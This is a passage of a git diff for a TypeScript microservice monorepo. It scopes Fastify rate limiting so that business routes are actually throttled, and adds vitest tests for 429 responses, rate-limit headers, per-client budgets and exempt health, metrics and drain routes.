createTokenVerifierConfig(env), + }); + opened.push({ app, handle }); + await app.ready(); + return app; +} + +afterEach(async () => { + for (const { app, handle } of opened.splice(0)) { + await app.close(); + await handle.close(); + } +}); + +type TestRequest = { method: 'GET' | 'POST'; url: string; headers?: Record }; + +/** Statuses of `count` sequential requests. A 401 (no token) counts against the limit like any other. */ +async function statuses( + app: FastifyInstance, + count: number, + request: TestRequest, +): Promise { + const out: number[] = []; + for (let attempt = 0; attempt < count; attempt += 1) { + out.push((await app.inject(request)).statusCode); + } + return out; +} + +// Rate limiting attaches to routes through an `onRoute` hook that only exists once the +// (asynchronously loaded) @fastify/rate-limit plugin is up, so routes declared directly on the +// root app right after `register(rateLimit)` are silently not limited. See app.ts. +describe('jobs-service rate limiting', () => { + it('throttles business routes once the configured maximum is reached and answers 429 RATE_LIMITED', async () => { + const app = await build(); + + expect(await statuses(app, 5, { method: 'GET', url: '/v1/jobs' })).toEqual([ + 401, 401, 401, 429, 429, + ]); + + const throttled = await app.inject({ method: 'GET', url: '/v1/jobs' }); + expect(throttled.statusCode).toBe(429); + expect(throttled.json().error).toMatchObject({ + code: 'RATE_LIMITED', + message: expect.stringContaining('Rate limit exceeded'), + request_id: expect.stringMatching(/^[0-9a-f-]{36}$/), + }); + }); + + it('sends sane rate-limit headers: a decreasing budget, then Retry-After on the 429', async () => { + const app = await build({ RATE_LIMIT_WINDOW: '30 seconds' }); + + const remaining: string[] = []; + for (let attempt = 0; attempt < 3; attempt += 1) { + const res = await app.inject({ method: 'GET', url: '/v1/jobs' }); + expect(res.headers['x-ratelimit-limit']).toBe('3'); + remaining.push(String(res.headers['x-ratelimit-remaining'])); + } + expect(remaining).toEqual(['2', '1', '0']); + + const throttled = await app.inject({ method: 'GET', url: '/v1/jobs' }); + expect(throttled.statusCode).toBe(429); + expect(throttled.headers['x-ratelimit-limit']).toBe('3'); + expect(throttled.headers['x-ratelimit-remaining']).toBe('0'); + // The configured RATE_LIMIT_WINDOW is what sizes the wait, not the plugin default of a minute. + const retryAfter = Number(throttled.headers['retry-after']); + expect(Number.isInteger(retryAfter)).toBe(true); + expect(retryAfter).toBeGreaterThanOrEqual(1); + expect(retryAfter).toBeLessThanOrEqual(30); + expect(Number(throttled.headers['x-ratelimit-reset'])).toBe(retryAfter); + }); + + it('spends one budget across every business route, including the ingest endpoint', async () => { + const app = await build(); + + const sequence: TestRequest[] = [ + { method: 'GET', url: '/v1/jobs' }, + { method: 'GET', url: '/v1/jobs/recommendations' }, + { method: 'POST', url: '/v1/jobs/ingest' }, + { method: 'GET', url: '/v1/jobs/3f1d8a52-0000-4000-8000-000000000001' }, + ]; + const seen: number[] = []; + for (const request of sequence) seen.push((await app.inject(request)).statusCode); + + expect(seen).toEqual([401, 401, 401, 429]); + }); + + it('counts unknown routes too, so probing for paths cannot run free', async () => { + const app = await build(); + + expect(await statuses(app, 5, { method: 'GET', url: '/v1/not-a-route' })).toEqual([ + 404, 404, 404, 429, 429, + ]); + expect((await app.inject({ method: 'GET', url: '/v1/not-a-route' })).json().error.code).toBe( + 'RATE_LIMITED', + ); + }); + + it('keeps a separate budget per client address', async () => { + const app = await build(); + const asClient = (address: string): TestRequest => ({ + method: 'GET', + url: '/v1/jobs', + headers: { 'x-forwarded-for': address }, + }); + + expect(await statuses(app, 4, asClient('203.0.113.10'))).toEqual([401, 401, 401, 429]); + // A different client is unaffected by the first one running out. + expect(await statuses(app, 3, asClient('203.0.113.11'))).toEqual([401, 401, 401]); + }); + + it('never throttles /health or /metrics, and they do not spend the budget either', async () => { + const app = await build(); + + const probe = await app.inject({ method: 'GET', url: '/health' }); + const probeStatuses = await statuses(app, 10, { method: 'GET', url: '/health' }); + expect(probeStatuses.every((status) => status === probe.statusCode)).toBe(true); + expect(probe.statusCode).not.toBe(429); + expect(probe.headers['x-ratelimit-limit']).toBeUndefined(); + expect(await statuses(app, 10, { method: 'GET', url: '/metrics' })).toEqual( + Array(10).fill(200), + ); + + // The probes above did not touch the business budget... + expect(await statuses(app, 3, { method: 'GET', url: '/v1/jobs' })).toEqual([401, 401, 401]); + // ...and once it is spent, the probes still answer. + expect((await app.inject({ method: 'GET', url: '/v1/jobs' })).statusCode).toBe(429); + expect((await app.inject({ method: 'GET', url: '/health' })).statusCode).toBe(probe.statusCode); + expect((await app.inject({ method: 'GET', url: '/metrics' })).statusCode).toBe(200); + }); +}); diff --git a/services/learning/src/app.ts b/services/learning/src/app.ts index f02eed7..da5cf86 100644 --- a/services/learning/src/app.ts +++ b/services/learning/src/app.ts @@ -9,7 +9,12 @@ import type { Database } from '@atlas/db'; import type { EventBroker } from '@atlas/messaging'; import type { ErrorCode } from '@atlas/types'; import { isAppError, newUuid, toAppError, type Logger } from '@atlas/utils'; -import { createMetricsRegistry, metricsRoute, registerHttpMetrics } from '@atlas/observability'; +import { + createMetricsRegistry, + metricsRoute, + registerHttpMetrics, + registerRateLimitedRoutes, +} from '@atlas/observability'; import type { LearningServiceEnv } from './env.js'; import { drainRoute } from './http/routes/drain.js'; import { getMetricsRoute } from './http/routes/get-metrics.js'; @@ -43,10 +48,6 @@ export function buildApp(deps: AppDeps): FastifyInstance { }); void app.register(cors, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); - void app.register(rateLimit, { - max: deps.env.RATE_LIMIT_MAX, - timeWindow: deps.env.RATE_LIMIT_WINDOW, - }); const metrics = createMetricsRegistry('learning-service'); registerHttpMetrics(app, metrics); @@ -92,10 +93,24 @@ export function buildApp(deps: AppDeps): FastifyInstance { }); }); + // Probes are scraped by infrastructure and stay outside the rate limiter. healthRoute(app, deps); metricsRoute(app, metrics); + // Machine-authenticated (bearer secret) and called by the scheduler: never throttled. drainRoute(app, deps); - getMetricsRoute(app, deps); + + // Everything else is declared inside the rate-limited scope: see registerRateLimitedRoutes for + // why routes declared on `app` right after registering the plugin would not be limited. + registerRateLimitedRoutes( + app, + { + plugin: rateLimit, + settings: { max: deps.env.RATE_LIMIT_MAX, timeWindow: deps.env.RATE_LIMIT_WINDOW }, + }, + (api) => { + getMetricsRoute(api, deps); + }, + ); return app; } diff --git a/services/learning/test/ratelimit.test.ts b/services/learning/test/ratelimit.test.ts new file mode 100644 index 0000000..87df92a --- /dev/null +++ b/services/learning/test/ratelimit.test.ts @@ -0,0 +1,203 @@ +import type { FastifyInstance } from 'fastify'; +import { afterEach, describe, expect, it } from 'vitest'; +import { createTokenVerifierConfig } from '@atlas/auth-kit'; +import { createDatabase, type DatabaseHandle } from '@atlas/db'; +import { createBroker, type DrainableBroker, type DrainOptions } from '@atlas/messaging'; +import { createSilentLogger } from '@atlas/utils'; +import { buildApp } from '../src/app.js'; +import { loadLearningServiceEnv } from '../src/env.js'; + +const SECRET = 'cron-secret-for-tests-0123456789'; +const SUPABASE_URL = 'https://test-project.supabase.co'; +// Nothing listens on port 1. Every request below is turned away before it reaches the database +// (a 401 for a missing token, a 404 or a 429), and /health reports a degraded database quickly. +const UNREACHABLE_DATABASE_URL = 'postgres://atlas:atlas@127.0.0.1:1/atlas_learning_ratelimit'; + +type StubBroker = DrainableBroker & { calls: DrainOptions[] }; + +function stubBroker(): StubBroker { + const calls: DrainOptions[] = []; + return { + calls, + publish: async () => undefined, + subscribe: async (options) => ({ consumer: options.consumer, stop: async () => undefined }), + isHealthy: () => true, + close: async () => undefined, + drain: async (options) => { + calls.push(options ?? {}); + return { processed: 0, failed: 0, dead: 0, purged: 0 }; + }, + }; +} + +const opened: Array<{ app: FastifyInstance; handle: DatabaseHandle }> = []; + +async function build( + envOverrides: Record = {}, + broker: DrainableBroker | ReturnType = createBroker({ + driver: 'memory', + logger: createSilentLogger(), + }), +): Promise { + const env = loadLearningServiceEnv({ + DATABASE_URL: UNREACHABLE_DATABASE_URL, + PORT: '4008', + SUPABASE_URL, + LOG_LEVEL: 'fatal', + RATE_LIMIT_MAX: '3', + ...envOverrides, + }); + const handle = createDatabase({ url: env.DATABASE_URL }); + const app = buildApp({ + db: handle.db, + sql: handle.sql, + env, + logger: createSilentLogger(), + broker, + tokenVerifier: createTokenVerifierConfig(env), + }); + opened.push({ app, handle }); + await app.ready(); + return app; +} + +afterEach(async () => { + for (const { app, handle } of opened.splice(0)) { + await app.close(); + await handle.close(); + } +}); + +type TestRequest = { method: 'GET' | 'POST'; url: string; headers?: Record }; + +/** Statuses of `count` sequential requests. A 401 (no token) counts against the limit like any other. */ +async function statuses( + app: FastifyInstance, + count: number, + request: TestRequest, +): Promise { + const out: number[] = []; + for (let attempt = 0; attempt < count; attempt += 1) { + out.push((await app.inject(request)).statusCode); + } + return out; +} + +// Rate limiting attaches to routes through an `onRoute` hook that only exists once the +// (asynchronously loaded) @fastify/rate-limit plugin is up, so routes declared directly on the +// root app right after `register(rateLimit)` are silently not limited. See app.ts. +describe('learning-service rate limiting', () => { + it('throttles business routes once the configured maximum is reached and answers 429 RATE_LIMITED', async () => { + const app = await build(); + + expect(await statuses(app, 5, { method: 'GET', url: '/v1/learning/metrics' })).toEqual([ + 401, 401, 401, 429, 429, + ]); + + const throttled = await app.inject({ method: 'GET', url: '/v1/learning/metrics' }); + expect(throttled.statusCode).toBe(429); + expect(throttled.json().error).toMatchObject({ + code: 'RATE_LIMITED', + message: expect.stringContaining('Rate limit exceeded'), + request_id: expect.stringMatching(/^[0-9a-f-]{36}$/), + }); + }); + + it('sends sane rate-limit headers: a decreasing budget, then Retry-After on the 429', async () => { + const app = await build({ RATE_LIMIT_WINDOW: '30 seconds' }); + + const remaining: string[] = []; + for (let attempt = 0; attempt < 3; attempt += 1) { + const res = await app.inject({ method: 'GET', url: '/v1/learning/metrics' }); + expect(res.headers['x-ratelimit-limit']).toBe('3'); + remaining.push(String(res.headers['x-ratelimit-remaining'])); + } + expect(remaining).toEqual(['2', '1', '0']); + + const throttled = await app.inject({ method: 'GET', url: '/v1/learning/metrics' }); + expect(throttled.statusCode).toBe(429); + expect(throttled.headers['x-ratelimit-limit']).toBe('3'); + expect(throttled.headers['x-ratelimit-remaining']).toBe('0'); + // The configured RATE_LIMIT_WINDOW is what sizes the wait, not the plugin default of a minute. + const retryAfter = Number(throttled.headers['retry-after']); + expect(Number.isInteger(retryAfter)).toBe(true); + expect(retryAfter).toBeGreaterThanOrEqual(1); + expect(retryAfter).toBeLessThanOrEqual(30); + expect(Number(throttled.headers['x-ratelimit-reset'])).toBe(retryAfter); + }); + + it('counts unknown routes against the same budget, so probing for paths cannot run free', async () => { + const app = await build(); + + const seen = [ + (await app.inject({ method: 'GET', url: '/v1/learning/metrics' })).statusCode, + (await app.inject({ method: 'GET', url: '/v1/not-a-route' })).statusCode, + (await app.inject({ method: 'GET', url: '/v1/learning/metrics' })).statusCode, + ]; + expect(seen).toEqual([401, 404, 401]); + + const throttled = await app.inject({ method: 'GET', url: '/v1/not-a-route' }); + expect(throttled.statusCode).toBe(429); + expect(throttled.json().error.code).toBe('RATE_LIMITED'); + }); + + it('keeps a separate budget per client address', async () => { + const app = await build(); + const asClient = (address: string): TestRequest => ({ + method: 'GET', + url: '/v1/learning/metrics', + headers: { 'x-forwarded-for': address }, + }); + + expect(await statuses(app, 4, asClient('203.0.113.10'))).toEqual([401, 401, 401, 429]); + // A different client is unaffected by the first one running out. + expect(await statuses(app, 3, asClient('203.0.113.11'))).toEqual([401, 401, 401]); + }); + + it('never throttles /health or /metrics, and they do not spend the budget either', async () => { + const app = await build(); + + const probe = await app.inject({ method: 'GET', url: '/health' }); + const probeStatuses = await statuses(app, 10, { method: 'GET', url: '/health' }); + expect(probeStatuses.every((status) => status === probe.statusCode)).toBe(true); + expect(probe.statusCode).not.toBe(429); + expect(probe.headers['x-ratelimit-limit']).toBeUndefined(); + expect(await statuses(app, 10, { method: 'GET', url: '/metrics' })).toEqual( + Array(10).fill(200), + ); + + // The probes above did not touch the business budget... + expect(await statuses(app, 3, { method: 'GET', url: '/v1/learning/metrics' })).toEqual([ + 401, 401, 401, + ]); + // ...and once it is spent, the probes still answer. + expect((await app.inject({ method: 'GET', url: '/v1/learning/metrics' })).statusCode).toBe(429); + expect((await app.inject({ method: 'GET', url: '/health' })).statusCode).toBe(probe.statusCode); + expect((await app.inject({ method: 'GET', url: '/metrics' })).statusCode).toBe(200); + }); + + // The scheduler calls these every five minutes with a bearer secret; throttling them would + // quietly stall every event delivery. + it('never throttles the drain routes, however often the scheduler calls them', async () => { + const broker = stubBroker(); + const app = await build({ CRON_SECRET: SECRET }, broker); + const authorized = { authorization: `Bearer ${SECRET}` }; + + const seen: number[] = []; + for (const url of ['/internal/drain', '/internal/learning/drain']) { + for (const method of ['GET', 'POST'] as const) { + seen.push(...(await statuses(app, 5, { method, url, headers: authorized }))); + } + } + expect(seen).toEqual(Array(20).fill(200)); + expect(broker.calls).toHaveLength(20); + + // Rejected callers get the drain route's own 401, not a 429, and spend no business budget. + expect(await statuses(app, 5, { method: 'POST', url: '/internal/drain' })).toEqual( + Array(5).fill(401), + ); + expect(await statuses(app, 3, { method: 'GET', url: '/v1/learning/metrics' })).toEqual([ + 401, 401, 401, + ]); + }); +}); diff --git a/services/matching/src/app.ts b/services/matching/src/app.ts index 87f6cd4..ae6a251 100644 --- a/services/matching/src/app.ts +++ b/services/matching/src/app.ts @@ -8,7 +8,12 @@ import type { Database } from '@atlas/db'; import type { EventBroker } from '@atlas/messaging'; import type { ErrorCode } from '@atlas/types'; import { isAppError, newUuid, toAppError, type Logger } from '@atlas/utils'; -import { createMetricsRegistry, metricsRoute, registerHttpMetrics } from '@atlas/observability'; +import { + createMetricsRegistry, + metricsRoute, + registerHttpMetrics, + registerRateLimitedRoutes, +} from '@atlas/observability'; import type { MatchingServiceEnv } from './env.js'; import { drainRoute } from './http/routes/drain.js'; import { healthRoute } from './http/routes/health.js'; @@ -40,10 +45,6 @@ export function buildApp(deps: AppDeps): FastifyInstance { }); void app.register(cors, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); - void app.register(rateLimit, { - max: deps.env.RATE_LIMIT_MAX, - timeWindow: deps.env.RATE_LIMIT_WINDOW, - }); const metrics = createMetricsRegistry('matching-service'); registerHttpMetrics(app, metrics); @@ -89,9 +90,25 @@ export function buildApp(deps: AppDeps): FastifyInstance { }); }); + // Probes are scraped by infrastructure and stay outside the rate limiter. healthRoute(app, deps); metricsRoute(app, metrics); + // Machine-authenticated (bearer secret) and called by the scheduler: never throttled. drainRoute(app, deps); + // Everything else is declared inside the rate-limited scope: see registerRateLimitedRoutes for + // why routes declared on `app` right after registering the plugin would not be limited. + registerRateLimitedRoutes( + app, + { + plugin: rateLimit, + settings: { max: deps.env.RATE_LIMIT_MAX, timeWindow: deps.env.RATE_LIMIT_WINDOW }, + }, + (_api) => { + // matching-service has no user-facing routes yet: declare them on `_api` (and drop the + // underscore). Until then the limiter only covers requests that match no route. + }, + ); + return app; } diff --git a/services/matching/test/ratelimit.test.ts b/services/matching/test/ratelimit.test.ts new file mode 100644 index 0000000..056e7b9 --- /dev/null +++ b/services/matching/test/ratelimit.test.ts @@ -0,0 +1,178 @@ +import type { FastifyInstance } from 'fastify'; +import { afterEach, describe, expect, it } from 'vitest'; +import { createDatabase, type DatabaseHandle } from '@atlas/db'; +import { createBroker, type DrainableBroker, type DrainOptions } from '@atlas/messaging'; +import { createSilentLogger } from '@atlas/utils'; +import { buildApp } from '../src/app.js'; +import { loadMatchingServiceEnv } from '../src/env.js'; + +const SECRET = 'cron-secret-for-tests-0123456789'; +// Nothing listens on port 1. Every request below is turned away before it reaches the database +// (a 404 or a 429), and /health reports a degraded database quickly. +const UNREACHABLE_DATABASE_URL = 'postgres://atlas:atlas@127.0.0.1:1/atlas_matching_ratelimit'; + +type StubBroker = DrainableBroker & { calls: DrainOptions[] }; + +function stubBroker(): StubBroker { + const calls: DrainOptions[] = []; + return { + calls, + publish: async () => undefined, + subscribe: async (options) => ({ consumer: options.consumer, stop: async () => undefined }), + isHealthy: () => true, + close: async () => undefined, + drain: async (options) => { + calls.push(options ?? {}); + return { processed: 0, failed: 0, dead: 0, purged: 0 }; + }, + }; +} + +const opened: Array<{ app: FastifyInstance; handle: DatabaseHandle }> = []; + +async function build( + envOverrides: Record = {}, + broker: DrainableBroker | ReturnType = createBroker({ + driver: 'memory', + logger: createSilentLogger(), + }), +): Promise { + const env = loadMatchingServiceEnv({ + DATABASE_URL: UNREACHABLE_DATABASE_URL, + PORT: '4004', + LOG_LEVEL: 'fatal', + RATE_LIMIT_MAX: '3', + ...envOverrides, + }); + const handle = createDatabase({ url: env.DATABASE_URL }); + const app = buildApp({ + db: handle.db, + sql: handle.sql, + env, + logger: createSilentLogger(), + broker, + }); + opened.push({ app, handle }); + await app.ready(); + return app; +} + +afterEach(async () => { + for (const { app, handle } of opened.splice(0)) { + await app.close(); + await handle.close(); + } +}); + +type TestRequest = { method: 'GET' | 'POST'; url: string; headers?: Record }; + +async function statuses( + app: FastifyInstance, + count: number, + request: TestRequest, +): Promise { + const out: number[] = []; + for (let attempt = 0; attempt < count; attempt += 1) { + out.push((await app.inject(request)).statusCode); + } + return out; +} + +// matching-service has no user-facing routes: it works off events and a scheduler-called drain. +// Its limiter therefore only covers requests that match no route, which is what these tests use. +describe('matching-service rate limiting', () => { + it('throttles requests that match no route once the configured maximum is reached and answers 429 RATE_LIMITED', async () => { + const app = await build(); + + expect(await statuses(app, 5, { method: 'GET', url: '/v1/matches' })).toEqual([ + 404, 404, 404, 429, 429, + ]); + + const throttled = await app.inject({ method: 'GET', url: '/v1/matches' }); + expect(throttled.statusCode).toBe(429); + expect(throttled.json().error).toMatchObject({ + code: 'RATE_LIMITED', + message: expect.stringContaining('Rate limit exceeded'), + request_id: expect.stringMatching(/^[0-9a-f-]{36}$/), + }); + }); + + it('sends sane rate-limit headers: a decreasing budget, then Retry-After on the 429', async () => { + const app = await build({ RATE_LIMIT_WINDOW: '30 seconds' }); + + const remaining: string[] = []; + for (let attempt = 0; attempt < 3; attempt += 1) { + const res = await app.inject({ method: 'GET', url: '/v1/matches' }); + expect(res.headers['x-ratelimit-limit']).toBe('3'); + remaining.push(String(res.headers['x-ratelimit-remaining'])); + } + expect(remaining).toEqual(['2', '1', '0']); + + const throttled = await app.inject({ method: 'GET', url: '/v1/matches' }); + expect(throttled.statusCode).toBe(429); + expect(throttled.headers['x-ratelimit-limit']).toBe('3'); + expect(throttled.headers['x-ratelimit-remaining']).toBe('0'); + // The configured RATE_LIMIT_WINDOW is what sizes the wait, not the plugin default of a minute. + const retryAfter = Number(throttled.headers['retry-after']); + expect(Number.isInteger(retryAfter)).toBe(true); + expect(retryAfter).toBeGreaterThanOrEqual(1); + expect(retryAfter).toBeLessThanOrEqual(30); + expect(Number(throttled.headers['x-ratelimit-reset'])).toBe(retryAfter); + }); + + it('keeps a separate budget per client address', async () => { + const app = await build(); + const asClient = (address: string): TestRequest => ({ + method: 'GET', + url: '/v1/matches', + headers: { 'x-forwarded-for': address }, + }); + + expect(await statuses(app, 4, asClient('203.0.113.10'))).toEqual([404, 404, 404, 429]); + // A different client is unaffected by the first one running out. + expect(await statuses(app, 3, asClient('203.0.113.11'))).toEqual([404, 404, 404]); + }); + + it('never throttles /health or /metrics, and they do not spend the budget either', async () => { + const app = await build(); + + const probe = await app.inject({ method: 'GET', url: '/health' }); + const probeStatuses = await statuses(app, 10, { method: 'GET', url: '/health' }); + expect(probeStatuses.every((status) => status === probe.statusCode)).toBe(true); + expect(probe.statusCode).not.toBe(429); + expect(probe.headers['x-ratelimit-limit']).toBeUndefined(); + expect(await statuses(app, 10, { method: 'GET', url: '/metrics' })).toEqual( + Array(10).fill(200), + ); + + // The probes above did not touch the budget... + expect(await statuses(app, 3, { method: 'GET', url: '/v1/matches' })).toEqual([404, 404, 404]); + // ...and once it is spent, the probes still answer. + expect((await app.inject({ method: 'GET', url: '/v1/matches' })).statusCode).toBe(429); + expect((await app.inject({ method: 'GET', url: '/health' })).statusCode).toBe(probe.statusCode); + expect((await app.inject({ method: 'GET', url: '/metrics' })).statusCode).toBe(200); + }); + + // The scheduler calls these every five minutes with a bearer secret; throttling them would + // quietly stall every event delivery. + it('never throttles the drain routes, however often the scheduler calls them', async () => { + const broker = stubBroker(); + const app = await build({ CRON_SECRET: SECRET }, broker); + const authorized = { authorization: `Bearer ${SECRET}` }; + + const seen: number[] = []; + for (const url of ['/internal/drain', '/internal/matching/drain']) { + for (const method of ['GET', 'POST'] as const) { + seen.push(...(await statuses(app, 5, { method, url, headers: authorized }))); + } + } + expect(seen).toEqual(Array(20).fill(200)); + expect(broker.calls).toHaveLength(20); + + // Rejected callers get the drain route's own 401, not a 429, and spend no budget. + expect(await statuses(app, 5, { method: 'POST', url: '/internal/drain' })).toEqual( + Array(5).fill(401), + ); + expect(await statuses(app, 3, { method: 'GET', url: '/v1/matches' })).toEqual([404, 404, 404]); + }); +}); diff --git a/services/outreach/src/app.ts b/services/outreach/src/app.ts index 5bdb95b..d64a0c0 100644 --- a/services/outreach/src/app.ts +++ b/services/outreach/src/app.ts @@ -9,7 +9,12 @@ import type { Database } from '@atlas/db'; import type { EventBroker } from '@atlas/messaging'; import type { ErrorCode } from '@atlas/types'; import { isAppError, newUuid, toAppError, type Logger } from '@atlas/utils'; -import { createMetricsRegistry, metricsRoute, registerHttpMetrics } from '@atlas/observability'; +import { + createMetricsRegistry, + metricsRoute, + registerHttpMetrics, + registerRateLimitedRoutes, +} from '@atlas/observability'; import type { OutreachServiceEnv } from './env.js'; import { createMessageRoute } from './http/routes/create-message.js'; import { getMessageRoute } from './http/routes/get-message.js'; @@ -36,6 +41,15 @@ const STATUS_TO_CODE: Partial> = { 429: 'RATE_LIMITED', }; +/** + * Sending goes out through an external transport (real email, eventually), so it is held to a + * tighter limit than the global one. A route listed here uses its own budget instead of the + * global one. + */ +const ROUTE_LIMITS = { + 'POST /v1/messages/:id/send': { max: 20, timeWindow: '1 minute' }, +} as const; + export function buildApp(deps: AppDeps): FastifyInstance { const app = Fastify({ // See services/auth/src/app.ts for why this cast is needed: pino's Logger @@ -48,10 +62,6 @@ export function buildApp(deps: AppDeps): FastifyInstance { }); void app.register(cors, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); - void app.register(rateLimit, { - max: deps.env.RATE_LIMIT_MAX, - timeWindow: deps.env.RATE_LIMIT_WINDOW, - }); const metrics = createMetricsRegistry('outreach-service'); registerHttpMetrics(app, metrics); @@ -97,13 +107,27 @@ export function buildApp(deps: AppDeps): FastifyInstance { }); }); + // Probes are scraped by infrastructure and stay outside the rate limiter. healthRoute(app, deps); metricsRoute(app, metrics); - createMessageRoute(app, deps); - listMessagesRoute(app, deps); - getMessageRoute(app, deps); - scheduleMessageRoute(app, deps); - sendMessageRoute(app, deps); + + // Everything else is declared inside the rate-limited scope: see registerRateLimitedRoutes for + // why routes declared on `app` right after registering the plugin would not be limited. + registerRateLimitedRoutes( + app, + { + plugin: rateLimit, + settings: { max: deps.env.RATE_LIMIT_MAX, timeWindow: deps.env.RATE_LIMIT_WINDOW }, + routeLimits: ROUTE_LIMITS, + }, + (api) => { + createMessageRoute(api, deps); + listMessagesRoute(api, deps); + getMessageRoute(api, deps); + scheduleMessageRoute(api, deps); + sendMessageRoute(api, deps); + }, + ); return app; } diff --git a/services/outreach/test/ratelimit.test.ts b/services/outreach/test/ratelimit.test.ts new file mode 100644 index 0000000..cd07a13 --- /dev/null +++ b/services/outreach/test/ratelimit.test.ts @@ -0,0 +1,192 @@ +import type { FastifyInstance } from 'fastify'; +import { afterEach, describe, expect, it } from 'vitest'; +import { createTokenVerifierConfig } from '@atlas/auth-kit'; +import { createDatabase, type DatabaseHandle } from '@atlas/db'; +import { createBroker } from '@atlas/messaging'; +import { createSilentLogger } from '@atlas/utils'; +import { buildApp } from '../src/app.js'; +import { loadOutreachServiceEnv } from '../src/env.js'; +import { createTransport } from '../src/lib/transport.js'; + +const SUPABASE_URL = 'https://test-project.supabase.co'; +// Nothing listens on port 1. Every request below is turned away before it reaches the database +// (a 401 for a missing token, a 404 or a 429), and /health reports a degraded database quickly. +const UNREACHABLE_DATABASE_URL = 'postgres://atlas:atlas@127.0.0.1:1/atlas_outreach_ratelimit'; + +// Sending has its own, stricter limit (ROUTE_LIMITS in app.ts). +const SEND_LIMIT = 20; +const MESSAGE_A = '3f1d8a52-0000-4000-8000-00000000000a'; +const MESSAGE_B = '3f1d8a52-0000-4000-8000-00000000000b'; + +const opened: Array<{ app: FastifyInstance; handle: DatabaseHandle }> = []; + +async function build(envOverrides: Record = {}): Promise { + const env = loadOutreachServiceEnv({ + DATABASE_URL: UNREACHABLE_DATABASE_URL, + PORT: '4007', + SUPABASE_URL, + LOG_LEVEL: 'fatal', + RATE_LIMIT_MAX: '3', + ...envOverrides, + }); + const handle = createDatabase({ url: env.DATABASE_URL }); + const app = buildApp({ + db: handle.db, + sql: handle.sql, + env, + logger: createSilentLogger(), + broker: createBroker({ driver: 'memory', logger: createSilentLogger() }), + transport: createTransport({ driver: 'local', logger: createSilentLogger() }), + tokenVerifier: createTokenVerifierConfig(env), + }); + opened.push({ app, handle }); + await app.ready(); + return app; +} + +afterEach(async () => { + for (const { app, handle } of opened.splice(0)) { + await app.close(); + await handle.close(); + } +}); + +type TestRequest = { method: 'GET' | 'POST'; url: string; headers?: Record }; + +/** Statuses of `count` sequential requests. A 401 (no token) counts against the limit like any other. */ +async function statuses( + app: FastifyInstance, + count: number, + request: TestRequest, +): Promise { + const out: number[] = []; + for (let attempt = 0; attempt < count; attempt += 1) { + out.push((await app.inject(request)).statusCode); + } + return out; +} + +// Rate limiting attaches to routes through an `onRoute` hook that only exists once the +// (asynchronously loaded) @fastify/rate-limit plugin is up, so routes declared directly on the +// root app right after `register(rateLimit)` are silently not limited. See app.ts. +describe('outreach-service rate limiting', () => { + it('throttles business routes once the configured maximum is reached and answers 429 RATE_LIMITED', async () => { + const app = await build(); + + expect(await statuses(app, 5, { method: 'GET', url: '/v1/messages' })).toEqual([ + 401, 401, 401, 429, 429, + ]); + + const throttled = await app.inject({ method: 'GET', url: '/v1/messages' }); + expect(throttled.statusCode).toBe(429); + expect(throttled.json().error).toMatchObject({ + code: 'RATE_LIMITED', + message: expect.stringContaining('Rate limit exceeded'), + request_id: expect.stringMatching(/^[0-9a-f-]{36}$/), + }); + }); + + it('sends sane rate-limit headers: a decreasing budget, then Retry-After on the 429', async () => { + const app = await build({ RATE_LIMIT_WINDOW: '30 seconds' }); + + const remaining: string[] = []; + for (let attempt = 0; attempt < 3; attempt += 1) { + const res = await app.inject({ method: 'GET', url: '/v1/messages' }); + expect(res.headers['x-ratelimit-limit']).toBe('3'); + remaining.push(String(res.headers['x-ratelimit-remaining'])); + } + expect(remaining).toEqual(['2', '1', '0']); + + const throttled = await app.inject({ method: 'GET', url: '/v1/messages' }); + expect(throttled.statusCode).toBe(429); + expect(throttled.headers['x-ratelimit-limit']).toBe('3'); + expect(throttled.headers['x-ratelimit-remaining']).toBe('0'); + // The configured RATE_LIMIT_WINDOW is what sizes the wait, not the plugin default of a minute. + const retryAfter = Number(throttled.headers['retry-after']); + expect(Number.isInteger(retryAfter)).toBe(true); + expect(retryAfter).toBeGreaterThanOrEqual(1); + expect(retryAfter).toBeLessThanOrEqual(30); + expect(Number(throttled.headers['x-ratelimit-reset'])).toBe(retryAfter); + }); + + it('spends one budget across the other business routes', async () => { + const app = await build(); + + const sequence: TestRequest[] = [ + { method: 'GET', url: '/v1/messages' }, + { method: 'GET', url: `/v1/messages/${MESSAGE_A}` }, + { method: 'POST', url: '/v1/messages' }, + { method: 'POST', url: `/v1/messages/${MESSAGE_A}/schedule` }, + ]; + const seen: number[] = []; + for (const request of sequence) seen.push((await app.inject(request)).statusCode); + + expect(seen).toEqual([401, 401, 401, 429]); + }); + + it('counts unknown routes too, so probing for paths cannot run free', async () => { + const app = await build(); + + expect(await statuses(app, 5, { method: 'GET', url: '/v1/not-a-route' })).toEqual([ + 404, 404, 404, 429, 429, + ]); + expect((await app.inject({ method: 'GET', url: '/v1/not-a-route' })).json().error.code).toBe( + 'RATE_LIMITED', + ); + }); + + it('keeps a separate budget per client address', async () => { + const app = await build(); + const asClient = (address: string): TestRequest => ({ + method: 'GET', + url: '/v1/messages', + headers: { 'x-forwarded-for': address }, + }); + + expect(await statuses(app, 4, asClient('203.0.113.10'))).toEqual([401, 401, 401, 429]); + // A different client is unaffected by the first one running out. + expect(await statuses(app, 3, asClient('203.0.113.11'))).toEqual([401, 401, 401]); + }); + + it('never throttles /health or /metrics, and they do not spend the budget either', async () => { + const app = await build(); + + const probe = await app.inject({ method: 'GET', url: '/health' }); + const probeStatuses = await statuses(app, 10, { method: 'GET', url: '/health' }); + expect(probeStatuses.every((status) => status === probe.statusCode)).toBe(true); + expect(probe.statusCode).not.toBe(429); + expect(probe.headers['x-ratelimit-limit']).toBeUndefined(); + expect(await statuses(app, 10, { method: 'GET', url: '/metrics' })).toEqual( + Array(10).fill(200), + ); + + // The probes above did not touch the business budget... + expect(await statuses(app, 3, { method: 'GET', url: '/v1/messages' })).toEqual([401, 401, 401]); + // ...and once it is spent, the probes still answer. + expect((await app.inject({ method: 'GET', url: '/v1/messages' })).statusCode).toBe(429); + expect((await app.inject({ method: 'GET', url: '/health' })).statusCode).toBe(probe.statusCode); + expect((await app.inject({ method: 'GET', url: '/metrics' })).statusCode).toBe(200); + }); + + it('holds sending to its own stricter limit, shared across messages and separate from the global one', async () => { + const app = await build({ RATE_LIMIT_MAX: '1000' }); + + // Alternating between two messages: the budget belongs to the route, not to one URL. + const seen: number[] = []; + for (let attempt = 0; attempt < SEND_LIMIT + 2; attempt += 1) { + const id = attempt % 2 === 0 ? MESSAGE_A : MESSAGE_B; + seen.push((await app.inject({ method: 